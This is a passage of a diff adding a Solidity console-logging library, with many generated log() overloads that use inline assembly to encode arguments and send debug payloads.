+            mstore(0x80, 0x80)
+            writeString(0xa0, p3)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(bool p0, uint256 p1, bool p2, address p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(bool,uint256,bool,address)`.
+            mstore(0x00, 0x9acd3616)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(bool p0, uint256 p1, bool p2, bool p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(bool,uint256,bool,bool)`.
+            mstore(0x00, 0xceb5f4d7)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(bool p0, uint256 p1, bool p2, uint256 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(bool,uint256,bool,uint256)`.
+            mstore(0x00, 0x7f9bbca2)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(bool p0, uint256 p1, bool p2, bytes32 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(bool,uint256,bool,string)`.
+            mstore(0x00, 0x9143dbb1)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, 0x80)
+            writeString(0xa0, p3)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(bool p0, uint256 p1, uint256 p2, address p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(bool,uint256,uint256,address)`.
+            mstore(0x00, 0x00dd87b9)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(bool p0, uint256 p1, uint256 p2, bool p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(bool,uint256,uint256,bool)`.
+            mstore(0x00, 0xbe984353)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(bool p0, uint256 p1, uint256 p2, uint256 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(bool,uint256,uint256,uint256)`.
+            mstore(0x00, 0x374bb4b2)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(bool p0, uint256 p1, uint256 p2, bytes32 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(bool,uint256,uint256,string)`.
+            mstore(0x00, 0x8e69fb5d)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, 0x80)
+            writeString(0xa0, p3)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(bool p0, uint256 p1, bytes32 p2, address p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(bool,uint256,string,address)`.
+            mstore(0x00, 0xfedd1fff)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, 0x80)
+            mstore(0x80, p3)
+            writeString(0xa0, p2)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(bool p0, uint256 p1, bytes32 p2, bool p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(bool,uint256,string,bool)`.
+            mstore(0x00, 0xe5e70b2b)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, 0x80)
+            mstore(0x80, p3)
+            writeString(0xa0, p2)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(bool p0, uint256 p1, bytes32 p2, uint256 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(bool,uint256,string,uint256)`.
+            mstore(0x00, 0x6a1199e2)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, 0x80)
+            mstore(0x80, p3)
+            writeString(0xa0, p2)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(bool p0, uint256 p1, bytes32 p2, bytes32 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        bytes32 m8;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            m8 := mload(0x100)
+            // Selector of `log(bool,uint256,string,string)`.
+            mstore(0x00, 0xf5bc2249)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, 0x80)
+            mstore(0x80, 0xc0)
+            writeString(0xa0, p2)
+            writeString(0xe0, p3)
+        }
+        _sendLogPayload(0x1c, 0x104);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+            mstore(0x100, m8)
+        }
+    }
+
+    function log(bool p0, bytes32 p1, address p2, address p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(bool,string,address,address)`.
+            mstore(0x00, 0x2b2b18dc)
+            mstore(0x20, p0)
+            mstore(0x40, 0x80)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+            writeString(0xa0, p1)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(bool p0, bytes32 p1, address p2, bool p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(bool,string,address,bool)`.
+            mstore(0x00, 0x6dd434ca)
+            mstore(0x20, p0)
+            mstore(0x40, 0x80)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+            writeString(0xa0, p1)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(bool p0, bytes32 p1, address p2, uint256 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(bool,string,address,uint256)`.
+            mstore(0x00, 0xa5cada94)
+            mstore(0x20, p0)
+            mstore(0x40, 0x80)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+            writeString(0xa0, p1)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(bool p0, bytes32 p1, address p2, bytes32 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        bytes32 m8;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            m8 := mload(0x100)
+            // Selector of `log(bool,string,address,string)`.
+            mstore(0x00, 0x12d6c788)
+            mstore(0x20, p0)
+            mstore(0x40, 0x80)
+            mstore(0x60, p2)
+            mstore(0x80, 0xc0)
+            writeString(0xa0, p1)
+            writeString(0xe0, p3)
+        }
+        _sendLogPayload(0x1c, 0x104);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+            mstore(0x100, m8)
+        }
+    }
+
+    function log(bool p0, bytes32 p1, bool p2, address p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(bool,string,bool,address)`.
+            mstore(0x00, 0x538e06ab)
+            mstore(0x20, p0)
+            mstore(0x40, 0x80)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+            writeString(0xa0, p1)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(bool p0, bytes32 p1, bool p2, bool p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(bool,string,bool,bool)`.
+            mstore(0x00, 0xdc5e935b)
+            mstore(0x20, p0)
+            mstore(0x40, 0x80)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+            writeString(0xa0, p1)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(bool p0, bytes32 p1, bool p2, uint256 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(bool,string,bool,uint256)`.
+            mstore(0x00, 0x1606a393)
+            mstore(0x20, p0)
+            mstore(0x40, 0x80)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+            writeString(0xa0, p1)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(bool p0, bytes32 p1, bool p2, bytes32 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        bytes32 m8;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            m8 := mload(0x100)
+            // Selector of `log(bool,string,bool,string)`.
+            mstore(0x00, 0x483d0416)
+            mstore(0x20, p0)
+            mstore(0x40, 0x80)
+            mstore(0x60, p2)
+            mstore(0x80, 0xc0)
+            writeString(0xa0, p1)
+            writeString(0xe0, p3)
+        }
+        _sendLogPayload(0x1c, 0x104);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+            mstore(0x100, m8)
+        }
+    }
+
+    function log(bool p0, bytes32 p1, uint256 p2, address p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(bool,string,uint256,address)`.
+            mstore(0x00, 0x1596a1ce)
+            mstore(0x20, p0)
+            mstore(0x40, 0x80)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+            writeString(0xa0, p1)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(bool p0, bytes32 p1, uint256 p2, bool p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(bool,string,uint256,bool)`.
+            mstore(0x00, 0x6b0e5d53)
+            mstore(0x20, p0)
+            mstore(0x40, 0x80)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+            writeString(0xa0, p1)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(bool p0, bytes32 p1, uint256 p2, uint256 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(bool,string,uint256,uint256)`.
+            mstore(0x00, 0x28863fcb)
+            mstore(0x20, p0)
+            mstore(0x40, 0x80)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+            writeString(0xa0, p1)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(bool p0, bytes32 p1, uint256 p2, bytes32 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        bytes32 m8;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            m8 := mload(0x100)
+            // Selector of `log(bool,string,uint256,string)`.
+            mstore(0x00, 0x1ad96de6)
+            mstore(0x20, p0)
+            mstore(0x40, 0x80)
+            mstore(0x60, p2)
+            mstore(0x80, 0xc0)
+            writeString(0xa0, p1)
+            writeString(0xe0, p3)
+        }
+        _sendLogPayload(0x1c, 0x104);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+            mstore(0x100, m8)
+        }
+    }
+
+    function log(bool p0, bytes32 p1, bytes32 p2, address p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        bytes32 m8;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            m8 := mload(0x100)
+            // Selector of `log(bool,string,string,address)`.
+            mstore(0x00, 0x97d394d8)
+            mstore(0x20, p0)
+            mstore(0x40, 0x80)
+            mstore(0x60, 0xc0)
+            mstore(0x80, p3)
+            writeString(0xa0, p1)
+            writeString(0xe0, p2)
+        }
